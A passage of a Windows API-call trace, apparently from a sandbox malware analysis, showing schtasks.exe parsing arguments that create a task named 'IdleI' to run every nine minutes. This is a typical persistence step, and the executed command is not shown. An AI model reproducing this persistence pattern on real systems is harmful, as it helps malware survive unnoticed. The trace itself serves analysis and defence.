SetLastError (dwErrCode=0x490) [0134.651] lstrlenW (lpString="run") returned 3 [0134.651] lstrlenW (lpString="run") returned 3 [0134.652] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.652] lstrlenW (lpString="tn") returned 2 [0134.652] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.652] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0134.652] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.652] lstrlenW (lpString="|run|") returned 5 [0134.652] lstrlenW (lpString="|tn|") returned 4 [0134.652] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0134.652] SetLastError (dwErrCode=0x490) [0134.652] lstrlenW (lpString="end") returned 3 [0134.652] lstrlenW (lpString="end") returned 3 [0134.679] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.679] lstrlenW (lpString="tn") returned 2 [0134.679] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.679] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0134.679] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.679] lstrlenW (lpString="|end|") returned 5 [0134.679] lstrlenW (lpString="|tn|") returned 4 [0134.679] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0134.679] SetLastError (dwErrCode=0x490) [0134.679] lstrlenW (lpString="showsid") returned 7 [0134.679] lstrlenW (lpString="showsid") returned 7 [0134.679] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.679] GetProcessHeap () returned 0x2f0000 [0134.679] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1f0) returned 1 [0134.679] GetProcessHeap () returned 0x2f0000 [0134.679] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30c1f0, Size=0x16) returned 0x30c1f0 [0134.679] lstrlenW (lpString="tn") returned 2 [0134.679] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.679] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0134.679] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.679] lstrlenW (lpString="|showsid|") returned 9 [0134.679] lstrlenW (lpString="|tn|") returned 4 [0134.679] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0134.680] SetLastError (dwErrCode=0x490) [0134.680] SetLastError (dwErrCode=0x490) [0134.680] SetLastError (dwErrCode=0x0) [0134.680] lstrlenW (lpString="/tn") returned 3 [0134.680] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0134.680] SetLastError (dwErrCode=0x490) [0134.680] SetLastError (dwErrCode=0x0) [0134.680] lstrlenW (lpString="/tn") returned 3 [0134.680] GetProcessHeap () returned 0x2f0000 [0134.680] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30c190 [0134.680] GetProcessHeap () returned 0x2f0000 [0134.680] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cba0 [0134.680] SetLastError (dwErrCode=0x0) [0134.680] SetLastError (dwErrCode=0x0) [0134.680] lstrlenW (lpString="IdleI") returned 5 [0134.680] lstrlenW (lpString="-/") returned 2 [0134.680] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0134.680] SetLastError (dwErrCode=0x490) [0134.680] SetLastError (dwErrCode=0x490) [0134.680] SetLastError (dwErrCode=0x0) [0134.680] lstrlenW (lpString="IdleI") returned 5 [0134.680] StrChrIW (lpStart="IdleI", wMatch=0x3a) returned 0x0 [0134.680] SetLastError (dwErrCode=0x490) [0134.680] SetLastError (dwErrCode=0x0) [0134.680] lstrlenW (lpString="IdleI") returned 5 [0134.680] GetProcessHeap () returned 0x2f0000 [0134.680] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d490 [0134.680] GetProcessHeap () returned 0x2f0000 [0134.680] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cbd0 [0134.681] SetLastError (dwErrCode=0x0) [0134.681] SetLastError (dwErrCode=0x0) [0134.681] lstrlenW (lpString="/sc") returned 3 [0134.681] lstrlenW (lpString="-/") returned 2 [0134.681] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.681] lstrlenW (lpString="?") returned 1 [0134.681] lstrlenW (lpString="?") returned 1 [0134.681] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.681] lstrlenW (lpString="sc") returned 2 [0134.681] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.681] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.681] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.681] lstrlenW (lpString="|?|") returned 3 [0134.681] lstrlenW (lpString="|sc|") returned 4 [0134.681] SetLastError (dwErrCode=0x490) [0134.681] lstrlenW (lpString="create") returned 6 [0134.681] lstrlenW (lpString="create") returned 6 [0134.681] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.681] lstrlenW (lpString="sc") returned 2 [0134.681] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.681] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.681] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.681] lstrlenW (lpString="|create|") returned 8 [0134.681] lstrlenW (lpString="|sc|") returned 4 [0134.681] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0134.681] SetLastError (dwErrCode=0x490) [0134.681] lstrlenW (lpString="delete") returned 6 [0134.681] lstrlenW (lpString="delete") returned 6 [0134.681] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.682] lstrlenW (lpString="sc") returned 2 [0134.682] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.682] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0134.682] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.682] lstrlenW (lpString="|delete|") returned 8 [0134.682] lstrlenW (lpString="|sc|") returned 4 [0134.682] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0134.682] SetLastError (dwErrCode=0x490) [0134.682] lstrlenW (lpString="query") returned 5 [0134.682] lstrlenW (lpString="query") returned 5 [0134.682] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.682] lstrlenW (lpString="sc") returned 2 [0134.682] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.682] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0134.682] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.682] lstrlenW (lpString="|query|") returned 7 [0134.682] lstrlenW (lpString="|sc|") returned 4 [0134.682] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0134.682] SetLastError (dwErrCode=0x490) [0134.682] lstrlenW (lpString="change") returned 6 [0134.682] lstrlenW (lpString="change") returned 6 [0134.682] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.682] lstrlenW (lpString="sc") returned 2 [0134.682] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.682] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0134.683] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.683] lstrlenW (lpString="|change|") returned 8 [0134.683] lstrlenW (lpString="|sc|") returned 4 [0134.683] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0134.683] SetLastError (dwErrCode=0x490) [0134.683] lstrlenW (lpString="run") returned 3 [0134.683] lstrlenW (lpString="run") returned 3 [0134.683] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.683] lstrlenW (lpString="sc") returned 2 [0134.683] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.683] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0134.683] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.683] lstrlenW (lpString="|run|") returned 5 [0134.683] lstrlenW (lpString="|sc|") returned 4 [0134.683] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0134.683] SetLastError (dwErrCode=0x490) [0134.683] lstrlenW (lpString="end") returned 3 [0134.683] lstrlenW (lpString="end") returned 3 [0134.683] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.683] lstrlenW (lpString="sc") returned 2 [0134.683] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.684] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0134.684] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.684] lstrlenW (lpString="|end|") returned 5 [0134.684] lstrlenW (lpString="|sc|") returned 4 [0134.684] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0134.684] SetLastError (dwErrCode=0x490) [0134.684] lstrlenW (lpString="showsid") returned 7 [0134.684] lstrlenW (lpString="showsid") returned 7 [0134.684] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.684] lstrlenW (lpString="sc") returned 2 [0134.684] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.684] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0134.684] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0134.684] lstrlenW (lpString="|showsid|") returned 9 [0134.684] lstrlenW (lpString="|sc|") returned 4 [0134.684] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0134.684] SetLastError (dwErrCode=0x490) [0134.684] SetLastError (dwErrCode=0x490) [0134.684] SetLastError (dwErrCode=0x0) [0134.684] lstrlenW (lpString="/sc") returned 3 [0134.684] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0134.684] SetLastError (dwErrCode=0x490) [0134.684] SetLastError (dwErrCode=0x0) [0134.684] lstrlenW (lpString="/sc") returned 3 [0134.684] GetProcessHeap () returned 0x2f0000 [0134.684] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30dc60 [0134.684] GetProcessHeap () returned 0x2f0000 [0134.684] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc00 [0134.684] SetLastError (dwErrCode=0x0) [0134.684] SetLastError (dwErrCode=0x0) [0134.685] lstrlenW (lpString="MINUTE") returned 6 [0134.685] lstrlenW (lpString="-/") returned 2 [0134.685] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0134.685] SetLastError (dwErrCode=0x490) [0134.685] SetLastError (dwErrCode=0x490) [0134.685] SetLastError (dwErrCode=0x0) [0134.685] lstrlenW (lpString="MINUTE") returned 6 [0134.685] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0134.685] SetLastError (dwErrCode=0x490) [0134.685] SetLastError (dwErrCode=0x0) [0134.685] lstrlenW (lpString="MINUTE") returned 6 [0134.685] GetProcessHeap () returned 0x2f0000 [0134.685] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d4b0 [0134.685] GetProcessHeap () returned 0x2f0000 [0134.685] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc30 [0134.685] SetLastError (dwErrCode=0x0) [0134.685] SetLastError (dwErrCode=0x0) [0134.685] lstrlenW (lpString="/mo") returned 3 [0134.685] lstrlenW (lpString="-/") returned 2 [0134.685] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.685] lstrlenW (lpString="?") returned 1 [0134.685] lstrlenW (lpString="?") returned 1 [0134.685] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.685] lstrlenW (lpString="mo") returned 2 [0134.685] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.685] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.685] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.686] lstrlenW (lpString="|?|") returned 3 [0134.686] lstrlenW (lpString="|mo|") returned 4 [0134.686] SetLastError (dwErrCode=0x490) [0134.686] lstrlenW (lpString="create") returned 6 [0134.686] lstrlenW (lpString="create") returned 6 [0134.686] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.686] lstrlenW (lpString="mo") returned 2 [0134.686] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.686] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.686] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.686] lstrlenW (lpString="|create|") returned 8 [0134.686] lstrlenW (lpString="|mo|") returned 4 [0134.686] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0134.686] SetLastError (dwErrCode=0x490) [0134.686] lstrlenW (lpString="delete") returned 6 [0134.686] lstrlenW (lpString="delete") returned 6 [0134.686] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.686] lstrlenW (lpString="mo") returned 2 [0134.686] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.686] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0134.686] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.686] lstrlenW (lpString="|delete|") returned 8 [0134.686] lstrlenW (lpString="|mo|") returned 4 [0134.686] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0134.686] SetLastError (dwErrCode=0x490) [0134.686] lstrlenW (lpString="query") returned 5 [0134.687] lstrlenW (lpString="query") returned 5 [0134.687] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.687] lstrlenW (lpString="mo") returned 2 [0134.687] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.687] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0134.687] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.687] lstrlenW (lpString="|query|") returned 7 [0134.687] lstrlenW (lpString="|mo|") returned 4 [0134.687] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0134.687] SetLastError (dwErrCode=0x490) [0134.687] lstrlenW (lpString="change") returned 6 [0134.687] lstrlenW (lpString="change") returned 6 [0134.687] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.687] lstrlenW (lpString="mo") returned 2 [0134.687] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.687] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0134.687] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.687] lstrlenW (lpString="|change|") returned 8 [0134.687] lstrlenW (lpString="|mo|") returned 4 [0134.687] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0134.687] SetLastError (dwErrCode=0x490) [0134.687] lstrlenW (lpString="run") returned 3 [0134.687] lstrlenW (lpString="run") returned 3 [0134.687] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.687] lstrlenW (lpString="mo") returned 2 [0134.688] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.688] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0134.688] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.688] lstrlenW (lpString="|run|") returned 5 [0134.688] lstrlenW (lpString="|mo|") returned 4 [0134.688] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0134.688] SetLastError (dwErrCode=0x490) [0134.688] lstrlenW (lpString="end") returned 3 [0134.688] lstrlenW (lpString="end") returned 3 [0134.688] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.688] lstrlenW (lpString="mo") returned 2 [0134.688] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.688] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0134.688] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.688] lstrlenW (lpString="|end|") returned 5 [0134.688] lstrlenW (lpString="|mo|") returned 4 [0134.688] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0134.688] SetLastError (dwErrCode=0x490) [0134.688] lstrlenW (lpString="showsid") returned 7 [0134.688] lstrlenW (lpString="showsid") returned 7 [0134.688] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.688] lstrlenW (lpString="mo") returned 2 [0134.688] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.688] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0134.688] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0134.688] lstrlenW (lpString="|showsid|") returned 9 [0134.688] lstrlenW (lpString="|mo|") returned 4 [0134.689] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0134.689] SetLastError (dwErrCode=0x490) [0134.689] SetLastError (dwErrCode=0x490) [0134.689] SetLastError (dwErrCode=0x0) [0134.689] lstrlenW (lpString="/mo") returned 3 [0134.689] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0134.689] SetLastError (dwErrCode=0x490) [0134.689] SetLastError (dwErrCode=0x0) [0134.689] lstrlenW (lpString="/mo") returned 3 [0134.689] GetProcessHeap () returned 0x2f0000 [0134.689] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30dc80 [0134.689] GetProcessHeap () returned 0x2f0000 [0134.689] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc60 [0134.689] SetLastError (dwErrCode=0x0) [0134.689] SetLastError (dwErrCode=0x0) [0134.689] lstrlenW (lpString="9") returned 1 [0134.689] SetLastError (dwErrCode=0x490) [0134.689] SetLastError (dwErrCode=0x0) [0134.689] lstrlenW (lpString="9") returned 1 [0134.689] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0134.689] SetLastError (dwErrCode=0x490) [0134.689] SetLastError (dwErrCode=0x0) [0134.689] lstrlenW (lpString="9") returned 1 [0134.689] GetProcessHeap () returned 0x2f0000 [0134.689] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x4) returned 0x30dca0 [0134.689] GetProcessHeap () returned 0x2f0000 [0134.689] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc90 [0134.689] SetLastError (dwErrCode=0x0) [0134.689] SetLastError (dwErrCode=0x0) [0134.689] lstrlenW (lpString="/tr") returned 3 [0134.689] lstrlenW (lpString="-/") returned 2 [0134.689] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.690] lstrlenW (lpString="?") returned 1 [0134.690] lstrlenW (lpString="?") returned 1 [0134.690] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.690] lstrlenW (lpString="tr") returned 2 [0134.690] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.690] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.690] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.690] lstrlenW (lpString="|?|") returned 3 [0134.690] lstrlenW (lpString="|tr|") returned 4 [0134.690] SetLastError (dwErrCode=0x490) [0134.690] lstrlenW (lpString="create") returned 6 [0134.690] lstrlenW (lpString="create") returned 6 [0134.690] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.690] lstrlenW (lpString="tr") returned 2 [0134.690] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.690] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.690] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.690] lstrlenW (lpString="|create|") returned 8 [0134.690] lstrlenW (lpString="|tr|") returned 4 [0134.690] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0134.690] SetLastError (dwErrCode=0x490) [0134.690] lstrlenW (lpString="delete") returned 6 [0134.690] lstrlenW (lpString="delete") returned 6 [0134.690] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.690] lstrlenW (lpString="tr") returned 2 [0134.690] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.691] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0134.691] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.691] lstrlenW (lpString="|delete|") returned 8 [0134.691] lstrlenW (lpString="|tr|") returned 4 [0134.691] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0134.691] SetLastError (dwErrCode=0x490) [0134.691] lstrlenW (lpString="query") returned 5 [0134.691] lstrlenW (lpString="query") returned 5 [0134.691] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.691] lstrlenW (lpString="tr") returned 2 [0134.691] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.691] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0134.691] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.691] lstrlenW (lpString="|query|") returned 7 [0134.691] lstrlenW (lpString="|tr|") returned 4 [0134.691] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0134.691] SetLastError (dwErrCode=0x490) [0134.691] lstrlenW (lpString="change") returned 6 [0134.691] lstrlenW (lpString="change") returned 6 [0134.691] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.691] lstrlenW (lpString="tr") returned 2 [0134.691] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.691] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0134.691] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.691] lstrlenW (lpString="|change|") returned 8 [0134.692] lstrlenW (lpString="|tr|") returned 4 [0134.692] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0134.692] SetLastError (dwErrCode=0x490) [0134.692] lstrlenW (lpString="run") returned 3 [0134.692] lstrlenW (lpString="run") returned 3 [0134.692] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.692] lstrlenW (lpString="tr") returned 2 [0134.692] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.692] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0134.692] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.692] lstrlenW (lpString="|run|") returned 5 [0134.692] lstrlenW (lpString="|tr|") returned 4 [0134.692] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0134.692] SetLastError (dwErrCode=0x490) [0134.692] lstrlenW (lpString="end") returned 3 [0134.692] lstrlenW (lpString="end") returned 3 [0134.692] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.692] lstrlenW (lpString="tr") returned 2 [0134.692] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.692] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0134.692] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.692] lstrlenW (lpString="|end|") returned 5 [0134.692] lstrlenW (lpString="|tr|") returned 4 [0134.692] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0134.692] SetLastError (dwErrCode=0x490) [0134.692] lstrlenW (lpString="showsid") returned 7 [0134.692] lstrlenW (lpString="showsid") returned 7 [0134.692] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.692] lstrlenW (lpString="tr") returned 2 [0134.692] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.693] _vsnwprintf (in: 